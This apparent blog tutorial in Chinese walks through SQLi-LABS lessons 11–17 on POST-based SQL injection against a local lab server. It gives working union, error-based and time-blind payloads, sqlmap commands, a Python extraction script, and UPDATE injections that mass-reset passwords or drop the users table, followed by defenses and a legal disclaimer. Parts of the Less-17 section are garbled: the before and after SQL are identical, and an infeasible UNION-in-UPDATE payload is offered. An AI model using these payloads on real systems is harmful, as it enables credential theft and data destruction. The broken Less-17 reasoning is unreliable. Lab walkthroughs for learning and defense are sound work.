SQL-LABS_Less11-17_POST注入实战
2026/7/25 1:58:22 网站建设 项目流程

SQL-LABS Less-11~17:POST 注入实战完全指南


目录

  1. POST 注入 vs GET 注入
  2. Less-11:POST 单引号字符型注入
  3. Less-12:POST 双引号+括号注入
  4. Less-13:POST 单引号+括号注入(无回显)
  5. Less-14:POST 双引号注入(无回显)
  6. Less-15:POST 时间盲注
  7. Less-16:POST 双引号+括号时间盲注
  8. Less-17:POST 密码重置注入
  9. 防御方法

1. POST 注入 vs GET 注入

核心区别

特性GET 注入POST 注入
参数位置URL 查询字符串HTTP 请求体
可见性浏览器地址栏可见不可见
测试方式直接修改 URL需要工具(Burp Suite / Hackbar / curl)
场景搜索框、商品详情页登录框、注册表单、密码修改

为什么 POST 注入更隐蔽?

GET /Less-1/?id=1' --+ HTTP/1.1

↑ URL 中的单引号会被浏览器历史、服务器日志记录

POST /Less-11/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded uname=admin' --+&passwd=123

↑ 单引号在请求体中,日志通常不记录 POST body


2. Less-11:POST 单引号字符型注入

目标

通过登录框注入,绕过认证并获取数据库信息

环境分析

访问http://192.168.43.8/sqli-labs-master/Less-11/

看到标准登录页面:

  • 用户名输入框
  • 密码输入框
  • Submit 按钮

正常登录测试

输入

Username: admin Password: admin

结果:登录成功,显示 “admin” 用户信息

关键思考:后端 SQL 语句可能是:

SELECT*FROMusersWHEREusername='admin'ANDpassword='admin'

注入测试

Step 1:判断注入点

用户名输入admin'
密码:随意

页面报错

You have an error in your SQL syntax near ''admin'' AND password='' LIMIT 0,1' at line 1

分析

  1. 看到'admin''→ 我们输入的单引号后面还有一个单引号
  2. 闭合方式:'单引号闭合
  3. 确认存在注入点!
Step 2:注释掉后面的 SQL

用户名admin' --+
密码:随意

结果:登录成功!

SQL 语句变化

原始:SELECT*FROMusersWHEREusername='admin'ANDpassword='123'LIMIT0,1注入后:SELECT*FROMusersWHEREusername='admin'-- ' AND password='123' LIMIT 0,1

--后面的内容全部被注释,密码验证被绕过!

Step 3:判断列数

用户名admin' ORDER BY 3 --+

结果:登录成功 → 至少 3 列

用户名admin' ORDER BY 4 --+

结果:报错Unknown column '4' in 'order clause'→ 只有 3 列

结论:表有 3 列

Step 4:寻找回显位置

用户名admin' UNION SELECT 1,2,3 --+

结果:页面显示:

Your Login name: 1 Your Password: 2

关键发现:第 2、3 列可以回显!

Step 5:获取数据库信息

用户名admin' UNION SELECT 1,database(),version() --+

结果

Your Login name: security Your Password: 5.7.26

用户名admin' UNION SELECT 1,user(),@@datadir --+

结果

Your Login name: root@localhost Your Password: C:\phpStudy\MySQL\data\
Step 6:获取所有表名

用户名

admin' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security' --+

结果

Your Password: emails,referers,uagents,users
Step 7:获取 users 表的列名

用户名

admin' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+

结果

Your Password: id,username,password
Step 8:获取所有用户数据

用户名

admin' UNION SELECT 1,2,group_concat(username,0x3a,password) FROM users --+

结果

Your Password: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

成功获取 13 个用户的账号密码!


3. Less-12:POST 双引号+括号注入

目标

识别不同的闭合方式

注入过程

Step 1:判断闭合方式

用户名admin'

报错

near ''admin'') AND password=("") LIMIT 0,1' at line 1

分析

  • 看到'admin'')
  • 闭合方式:")(双引号+右括号)
Step 2:验证闭合

用户名admin") --+

结果:登录成功!验证闭合正确

Step 3:后续步骤同 Less-11

判断列数admin") ORDER BY 2 --+
判断列数admin") ORDER BY 3 --+❌ → 只有 2 列!

找回显admin") UNION SELECT 1,2 --+

结果

Your Login name: 1 Your Password: 2

获取数据admin") UNION SELECT database(),version() --+

结果

Your Login name: security Your Password: 5.7.26

提取用户数据

admin") UNION SELECT 1,group_concat(username,0x3a,password) FROM users --+

成功获取所有用户!


4. Less-13:POST 单引号+括号注入(无回显)

目标

学习在无数据回显情况下的报错注入

环境分析

访问 Less-13,输入正确账号密码:

结果:只显示一个笑脸图片,没有任何文字回显

这意味着:

  • ✅ 可以判断登录成功/失败
  • ❌ 无法通过 UNION SELECT 回显数据

注入策略:报错注入

Step 1:判断闭合方式

用户名admin'

报错

near ''admin'') AND password=('') LIMIT 0,1' at line 1

分析:闭合方式是')(单引号+右括号)

Step 2:验证闭合

用户名admin') --+

结果:登录成功(显示笑脸)

Step 3:报错注入获取数据库名

用户名

admin') AND extractvalue(1,concat(0x7e,database())) --+

报错信息

XPATH syntax error: '~security'

成功获取数据库名:security

Step 4:报错注入原理

extractvalue() 函数

extractvalue(XML文档,XPath路径)

正常用法:

SELECTextractvalue('<a>hello</a>','/a');-- 结果:hello

注入利用

  • 当 XPath 路径非法时会报错
  • 报错信息会包含我们的查询结果
  • 0x7e~的十六进制,作为分隔符
Step 5:获取表名

用户名

admin') AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'))) --+

报错

XPATH syntax error: '~emails,referers,uagents,use'

注意:报错注入有长度限制(32字符),数据被截断了!

解决方法:使用LIMIT逐个获取

admin') AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1))) --+

结果~emails

admin') AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1))) --+

结果~users

Step 6:获取列名

用户名

admin') AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1))) --+

结果~username

admin') AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 2,1))) --+

结果~password

Step 7:获取用户数据

用户名

admin') AND extractvalue(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1))) --+

结果~Dumb:Dumb

逐个获取所有用户:修改 LIMIT 的偏移量即可

关键技巧

  • 0x3a=:作为分隔符
  • concat()拼接用户名和密码
  • LIMIT 0,1/LIMIT 1,1/LIMIT 2,1逐个获取

5. Less-14:POST 双引号注入(无回显)

快速通关

Step 1:判断闭合

用户名admin"

报错

near '"admin"" AND password="" LIMIT 0,1' at line 1

闭合方式"双引号

Step 2:报错注入

用户名

admin" AND extractvalue(1,concat(0x7e,database())) --+

结果~security

用户名

admin" AND extractvalue(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1))) --+

结果~Dumb:Dumb

后续步骤同 Less-13


6. Less-15:POST 时间盲注

目标

学习在完全无回显、无报错的情况下注入

环境分析

输入admin' --+

结果:既不报错,也不显示成功/失败信息,只有一个图片!

这意味着

  • ❌ 无数据回显
  • ❌ 无报错信息
  • ❌ 无法判断 SQL 执行结果

唯一可用的信息:页面响应时间!

注入策略:时间盲注

Step 1:判断闭合方式

由于无报错,需要用时间判断:

用户名admin' AND sleep(5) --+

结果:页面 5 秒后才返回 → 闭合正确!

用户名admin" AND sleep(5) --+

结果:立即返回 → 闭合错误

结论:闭合方式是'单引号

Step 2:时间盲注原理

核心函数sleep(秒数)

SELECT*FROMusersWHEREusername='admin'ANDsleep(5)--+' AND password=''
  • 如果 SQL 执行成功 →sleep(5)会执行 → 页面 5 秒后返回
  • 如果 SQL 语法错误 → 立即返回
Step 3:逐字符猜解数据库名

思路

  1. 猜测数据库名的第 1 个字符是否为 ‘s’
  2. 如果是 → sleep(5) → 页面延迟
  3. 如果不是 → 立即返回

用户名

admin' AND IF(substr(database(),1,1)='s',sleep(5),0) --+

结果:延迟 5 秒 → 第 1 个字符是 ‘s’ ✅

用户名

admin' AND IF(substr(database(),2,1)='e',sleep(5),0) --+

结果:延迟 5 秒 → 第 2 个字符是 ‘e’ ✅

用户名

admin' AND IF(substr(database(),3,1)='c',sleep(5),0) --+

结果:延迟 5 秒 → 第 3 个字符是 ‘c’ ✅

用户名

admin' AND IF(substr(database(),4,1)='u',sleep(5),0) --+

结果:延迟 5 秒 → 第 4 个字符是 ‘u’ ✅

继续猜解…

最终得到:security

Step 4:使用 ASCII 码优化

用户名

admin' AND IF(ascii(substr(database(),1,1))>100,sleep(5),0) --+
  • ascii('s')= 115
  • 115 > 100 → 延迟 5 秒 ✅

用户名

admin' AND IF(ascii(substr(database(),1,1))>110,sleep(5),0) --+
  • 115 > 110 → 延迟 5 秒 ✅

用户名

admin' AND IF(ascii(substr(database(),1,1))>115,sleep(5),0) --+
  • 115 > 115 → 否 → 立即返回 ❌

用户名

admin' AND IF(ascii(substr(database(),1,1))=115,sleep(5),0) --+
  • 115 = 115 → 延迟 5 秒 ✅

确认第 1 个字符 ASCII 码为 115,即 ‘s’

Step 5:获取数据库名长度

用户名

admin' AND IF(length(database())=8,sleep(5),0) --+

结果:延迟 5 秒 → 数据库名长度为 8

Step 6:获取表名

用户名

admin' AND IF(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1),1,1)='u',sleep(5),0) --+

结果:延迟 5 秒 → users 表的第 1 个字符是 ‘u’ ✅

手工时间盲注太慢!建议用 SQLmap 自动化


7. Less-16:POST 双引号+括号时间盲注

快速通关

Step 1:判断闭合

用户名admin") AND sleep(5) --+

结果:延迟 5 秒 → 闭合方式是")

Step 2:时间盲注

用户名

admin") AND IF(substr(database(),1,1)='s',sleep(5),0) --+

结果:延迟 5 秒 → 数据库名第 1 个字符是 ‘s’ ✅

后续步骤同 Less-15,建议用 SQLmap


8. Less-17:POST 密码重置注入

目标

UPDATE 语句注入(最危险的注入类型之一)

环境分析

访问 Less-17,看到密码重置页面:

  • 用户名输入框
  • 新密码输入框
  • Update Password 按钮

输入:

Username: admin New Password: test123

结果admin用户密码被修改为test123

后端 SQL 语句

UPDATEusersSETpassword='test123'WHEREusername='admin'

注入测试

Step 1:判断注入点

用户名admin'
新密码123

报错

You have an error in your SQL syntax near 'admin'' at line 1

确认存在注入点!

Step 2:判断闭合方式

分析报错信息near 'admin''→ 闭合方式是'单引号

Step 3:危险操作 - 修改所有用户密码

用户名admin' --+
新密码hacked666

SQL 语句变化

原始:UPDATEusersSETpassword='hacked666'WHEREusername='admin'--+'注入后:UPDATEusersSETpassword='hacked666'WHEREusername='admin'--+'

--注释掉后面的单引号,密码验证被绕过

结果:admin 用户密码被修改为 hacked666

Step 4:更危险 - 修改指定用户密码

用户名admin' WHERE username='batman' --+
新密码hacked999

SQL 语句

UPDATEusersSETpassword='hacked999'WHEREusername='admin'WHEREusername='batman'--+'

注意:这会报错,因为不能有两个 WHERE

正确姿势
用户名admin' AND 1=2 UNION SELECT 1,2,3 WHERE username='batman' --+

更简单的方法
用户名batman' --+
新密码hacked999

直接就能改 batman 的密码!

Step 5:危险操作 - 修改所有用户密码为同一个

用户名admin' OR 1=1 --+
新密码123456

SQL 语句

UPDATEusersSETpassword='123456'WHEREusername='admin'OR1=1--+'

结果所有用户的密码都被改成 123456!

为什么?

  • WHERE username='admin' OR 1=1
  • 1=1永远为真
  • 所以所有记录都满足条件
  • 所有用户密码被修改!
Step 6:报错注入获取数据

用户名

admin' AND extractvalue(1,concat(0x7e,database())) --+

新密码:随意

报错

XPATH syntax error: '~security'

获取其他用户的密码

admin' AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username='batman'))) --+

报错

XPATH syntax error: '~mob!le'

成功获取 batman 的密码:mob!le

Step 7:堆叠注入(如果支持)

某些数据库支持用;分隔执行多条 SQL:

用户名admin'; DROP TABLE users --+

SQL 语句

UPDATEusersSETpassword='xxx'WHEREusername='admin';DROPTABLEusers--+'

结果:users 表被删除!(SQLi-LABS 不支持堆叠注入,但实际环境可能支持)


9. 防御方法

1. 预编译语句(最有效)

错误示范(Less-11 源码):

$sql="SELECT * FROM users WHERE username='$uname' AND password='$passwd' LIMIT 0,1";$result=mysql_query($sql);

正确做法

$stmt=$pdo->prepare("SELECT * FROM users WHERE username=? AND password=? LIMIT 1");$stmt->execute([$uname,$passwd]);

原理

  • SQL 语句和参数分离
  • 数据库先编译 SQL 模板
  • 参数作为纯数据传入,不会被解析为 SQL 代码

2. 输入过滤与验证

// 白名单验证if(!preg_match('/^[a-zA-Z0-9_]+$/',$username)){die("非法用户名");}// 长度限制if(strlen($username)>20){die("用户名过长");}

3. 错误信息隐藏

错误示范

echomysql_error();// 直接输出数据库错误

正确做法

if(!$result){error_log(mysql_error());// 记录到日志die("系统错误,请联系管理员");// 给用户显示通用错误}

4. 最小权限原则

-- 不要用 root 连接数据库CREATEUSER'webapp'@'localhost'IDENTIFIEDBY'password';GRANTSELECT,INSERT,UPDATEONsecurity.*TO'webapp'@'localhost';-- 不给 DELETE, DROP 权限

5. WAF(Web 应用防火墙)

  • ModSecurity
  • 云 WAF(阿里云、腾讯云)
  • 自定义规则拦截union,select,sleep等关键字

注意:WAF 可被绕过,不能作为唯一防御!

6. 代码审计工具

  • SonarQube:静态代码分析
  • Fortify:安全漏洞扫描
  • 人工审计:定期 Code Review

Less-11~17 总结对比

关卡闭合方式注入类型回显方式难度
Less-11'联合查询注入页面回显
Less-12")联合查询注入页面回显
Less-13')报错注入报错信息⭐⭐
Less-14"报错注入报错信息⭐⭐
Less-15'时间盲注响应时间⭐⭐⭐
Less-16")时间盲注响应时间⭐⭐⭐
Less-17'UPDATE 注入页面回显⭐⭐⭐⭐

实战技巧总结

1. 判断闭合方式的通用流程

1. 输入 admin' → 看报错信息中多余的符号 2. 输入 admin" → 尝试双引号 3. 输入 admin') → 尝试单引号+括号 4. 输入 admin") → 尝试双引号+括号

2. POST 注入工具选择

工具适用场景难度
Burp Suite抓包改包,精确控制
Hackbar浏览器插件,快速测试
curl命令行工具
SQLmap自动化注入

3. Burp Suite 使用流程

  1. 打开 Burp → Proxy → Intercept is on
  2. 浏览器设置代理 127.0.0.1:8080
  3. 访问登录页面并提交
  4. Burp 抓到 POST 请求
  5. 右键 → Send to Repeater
  6. 修改uname=admin'参数
  7. 点击 Send 发送
  8. 查看 Response 响应

4. SQLmap POST 注入命令

# 保存请求包到文件cat>less11.txt<<EOF POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.43.8 Content-Type: application/x-www-form-urlencoded uname=admin&passwd=123&submit=Submit EOF# 自动注入sqlmap-rless11.txt-puname--dbs# 指定数据库获取表sqlmap-rless11.txt-puname-Dsecurity--tables# 获取 users 表数据sqlmap-rless11.txt-puname-Dsecurity-Tusers--dump

5. 时间盲注优化脚本

手工太慢,用 Python 自动化:

importrequestsimporttime url="http://192.168.43.8/sqli-labs-master/Less-15/"result=""# 猜解数据库名foriinrange(1,20):forcin"abcdefghijklmnopqrstuvwxyz":payload=f"admin' AND IF(substr(database(),{i},1)='{c}',sleep(3),0) --+"data={"uname":payload,"passwd":"123","submit":"Submit"}start=time.time()requests.post(url,data=data)end=time.time()ifend-start>3:result+=cprint(f"[+] 第{i}个字符:{c}| 当前结果:{result}")breakelse:breakprint(f"[+] 最终结果:{result}")

关键知识点回顾

POST vs GET 注入核心区别

  • GET:参数在 URL,可见,易测试
  • POST:参数在请求体,隐蔽,需工具

三种注入类型对比

类型条件速度难度
联合查询有数据回显
报错注入有报错信息
时间盲注完全无回显

闭合方式识别技巧

  • 看报错信息中的多余符号
  • 'admin'''闭合
  • "admin"""闭合
  • 'admin'')')闭合
  • "admin"")")闭合

UPDATE 注入的危险性

  • 可修改任意用户密码
  • OR 1=1可修改所有记录
  • 可导致数据被篡改、删除
  • 危害等级:极高

⚠️ 法律声明

本文内容仅供授权的安全测试和学习研究使用。

严禁用于:

  • 未授权的系统渗透
  • 非法获取他人数据
  • 破坏计算机信息系统

违法后果:
根据《中华人民共和国网络安全法》和《刑法》第285、286条:

  • 非法入侵计算机系统:3年以下有期徒刑
  • 情节严重:3-7年有期徒刑
  • 造成严重后果:7年以上有期徒刑

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询